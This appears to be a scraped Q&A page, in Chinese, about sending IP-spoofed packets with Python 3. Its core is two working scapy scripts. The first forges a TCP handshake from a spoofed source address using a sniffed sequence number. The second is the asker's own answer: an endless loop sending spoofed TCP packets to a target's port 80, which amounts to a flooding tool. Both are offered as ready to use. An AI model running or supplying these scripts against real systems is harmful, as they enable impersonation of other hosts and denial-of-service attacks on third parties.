python 3中的IP欺骗

Spe*_*987 8 python ip spoofing python-3.x

是否可以使用另一个 ip 源发送欺骗数据包?我在网上搜索,发现我需要使用 scapy 库。我有这个脚本,我发现:

import sys
from scapy.all import *

if len(sys.argv) != 4:
    print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")

seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print ("Okay, final ACK sent. Check netstat on your target :-)")
Run Code Online (Sandbox Code Playgroud)

但我不明白“现在输入嗅探的序列号”是什么意思:

另外,是否可以避免使用 scapy,而使用套接字库?如果是,你能告诉我怎么走吗?

Spe*_*987 10

使用 scapy 库自行解决:

from scapy.all import *

A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload

while True:
    spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
    send(spoofed_packet)
Run Code Online (Sandbox Code Playgroud)